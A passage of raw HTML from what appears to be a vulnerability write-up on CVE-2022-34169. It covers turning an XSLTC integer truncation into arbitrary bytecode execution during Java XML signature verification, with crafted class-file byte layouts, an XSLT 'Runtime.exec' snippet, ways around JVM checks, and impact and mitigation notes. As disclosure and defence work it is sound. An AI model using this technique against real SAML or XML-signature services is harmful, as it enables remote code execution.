vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0f9d58; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00</span><span style="background-color: #c9daf8; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x04</span><span style="background-color: #c9daf8; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x00 0x00</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xCC</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: magenta; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xDD</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ</span><span style="background-color: #c9daf8; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ</span><span style="background-color: #c9daf8; color: red; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ</span><span style="background-color: #c9daf8; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #c9daf8; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ</span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> 0xAA 0xAA</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 6pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE: </span><span style="background-color: #c9daf8; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA 0xAA</span></p><br /><div align="center" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup><col width="333"></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fce5cd; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">First Method Header</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: red; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags 0x0601</span><span style="background-color: transparent; color: #38761d; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">name_index 0xXXXX</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">desc_index 0xYYYY</span><span style="background-color: transparent; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attr_count 0x0001</span></p></td></tr><tr style="height: 20pt;"><td rowspan="3" style="background-color: #fce5cd; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Attribute [0]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: magenta; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">name_index 0xZZ06</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">length 0x00000005</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">data “\x00\x00\x00\x00\x06”</span></p><br /></td></tr><tr style="height: 20pt;"></tr><tr style="height: 0pt;"></tr><tr style="height: 20pt;"><td style="background-color: #c9daf8; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Second Method Header</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: red; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags 0x0001</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">name_index 0xCCCC -> <init></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">desc_index 0xDDDD</span><span style="background-color: transparent; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> -> ()V</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attr_count 0x0003</span><span style="background-color: transparent; color: magenta; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p><br /></td></tr><tr style="height: 20pt;"><td style="background-color: #c9daf8; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Attribute [0]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: magenta; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">name_index 0x0600</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">length 0x00000004</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">data “\x00\x00\x00\x06</span></p></td></tr><tr style="height: 20pt;"><td style="background-color: #c9daf8; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Attribute [1]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: magenta; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">name_index 0xCCDD -> Code</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #0d904f; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">length 0xZZZZZZZZ</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #c53929; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">data PAYLOAD</span></p></td></tr><tr style="height: 20pt;"><td style="background-color: #c9daf8; border-bottom: solid #000000 1pt; border-left: solid #000000 1pt; border-right: solid #000000 1pt; border-top: solid #000000 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 8pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Attribute [2] ...</span></p></td></tr></tbody></table></div><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We still need to bypass one limitation: JVM bytecode does not work standalone, but references and relies on entries in the constant pool. Instantiating a class or calling a method requires a corresponding constant entry in the pool. This is a problem as our bug doesn’t give us the ability to create fake constant pool entries so we are limited to constants that XSLTC adds during compilation.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Luckily, there is a way to add arbitrary class and method references to the constant pool: Java’s XSLT runtime supports calling arbitrary Java methods. As this is clearly insecure, this functionality is protected by a runtime setting and always disabled during signature verification.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">However, XSLTC will still process and compile these function calls when processing a stylesheet and the call will only be blocked during runtime (see the corresponding code in </span><a href="https://github.com/openjdk/jdk/blob/aff5ff14b208b3c2be93d7b4fab8b07c5be12f3e/src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/compiler/FunctionCall.java#L787" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">FunctionCall.java</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">). This means that we can get references to all required methods and classes by adding a XSLT element like the one shown below:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><xsl:value-of</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> select</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"rt:exec(rt:getRuntime(),'...')" xmlns:rt</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"java.lang.Runtime"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p></td></tr></tbody></table></div><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">There are two final checks we need to bypass, before we end up with a working class file:</span></p><ul style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The JVM enforces that every constructor of a subclass, calls a superclass constructor before returning. This check can be bypassed by never returning from our constructor either by adding an endless loop at the end or throwing an exception, which is the approach I used in my exploit Proof-of-Concept. A slightly more complex, but cleaner approach is to add a reference to the AbstractTranslet constructor to the object pool and call it. This is the approach used by thanat0s in their </span><a href="https://noahblog-360-cn.translate.goog/xalan-j-integer-truncation-reproduce-cve-2022-34169/?_x_tr_sch=http&_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=de&_x_tr_pto=wapp" style="text-decoration-line: none;"><span style="color: #1155cc; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">exploit writeup</span></a><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Finally, we need to skip over the rest of XSLTC’s output. This can be done by constructing a single large attribute with the right size as an element in the class attribute table.</span></p></li></ul><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Once we chain all of this together we end up with a signed XML document that can trigger the execution of arbitrary JVM bytecode during signature verification. I’ve skipped over some implementation details of this exploit, so if you want to reproduce this vulnerability please take a look at the heavily commented </span><a href="https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=553654" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">proof-of-concept</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> script.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Impact and Restrictions</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">In theory every unpatched Java application that processes XML signatures is vulnerable to this exploit. However, there are two important restrictions:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As references are only processed after the signature of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignedInfo</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element is verified, applications can be protected based on their usage of the </span><a href="https://docs.oracle.com/en/java/javase/18/security/java-xml-digital-signature-api-overview-and-tutorial.html#GUID-26946ED1-1BBE-4AFD-B1CA-5A6A46FD7354:~:text=validity%20status%3A%20%22%20%2B%20refValid)%3B%0A%20%20%20%20%7D-,Using%20KeySelectors,-KeySelectors%20are" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">KeySelector</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> class. Applications that use a allowlist of trusted keys in their </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KeySelector</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> will be protected as long as these keys are not compromised. An example of this would be a single-tenant SAML SP configured with a single trusted IdP key. In practice, a lot of these applications are still vulnerable as they don’t use </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KeySelector</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> directly and will instead enforce this restriction in their own application logic after an unrestricted signature validation. At this point the vulnerability has already been triggered. Multi-tenant SAML applications that support customer-provided Identity Providers, as most modern cloud SaaS do, are also not protected by this limitation.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SAML Identity Providers can only be attacked if they support (and verify) signed SAML requests.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Even without CVE-2022-34169, processing XSLT during signature verification can be easily abused as part of a DoS attack. For this reason, the property </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">org.jcp.xml.dsig.secureValidation</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> can be enabled to forbid XSLT transformation in XML signatures. Interestingly this property defaults to false for all JDK versions <17, if the application is not running under the Java security manager. As the Security Manager is rarely used for server side applications and JDK 17 was only released a year ago, we expect that a lot of applications are not protected by this. Limited testing of large java-based SSO providers confirmed this assumption. Another reason for a lack of widespread usage might be that </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">org.jcp.xml.dsig.secureValidation</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> also disables use of the SHA1 algorithm in newer JDK versions. As SHA1 is still widely used by enterprise customers, simply enabling the property without manually configuring a suitable </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">jdk.xml.dsig.secureValidationPolicy</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> might not be feasible.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Conclusion</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XML signatures in general and SAML in particular offer a large and complex attack surface to external attackers. Even though Java offers configuration options that can be used to address this vulnerability, they are complex, might break real-world use cases and are off by default. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Developers that rely on SAML should make sure they understand the 